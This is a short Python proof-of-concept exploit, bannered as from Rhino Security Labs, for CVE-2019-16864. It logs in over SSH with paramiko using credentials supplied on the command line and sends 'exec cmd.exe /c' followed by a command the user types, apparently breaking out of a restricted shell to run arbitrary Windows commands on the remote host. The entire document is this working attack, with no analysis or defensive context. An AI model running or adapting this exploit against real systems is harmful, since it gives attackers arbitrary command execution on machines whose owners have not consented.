import paramiko
import sys

print("""
######################################
##                                  ##
##      PoC for CVE-2019-16864      ##
##      Rhino Security Labs         ##
##                                  ##
######################################
""")

host = sys.argv[1]
user = sys.argv[2]
passw = sys.argv[3]
cmd = input("Type the command to run on the remote host: ")

ssh_client = paramiko.SSHClient()
ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_client.connect(hostname=host, username=user, password=passw)
stdin, stdout, stderr = ssh_client.exec_command(f"exec cmd.exe /c {cmd}")
result = stdout.readlines()
print("\n" + "".join(result))

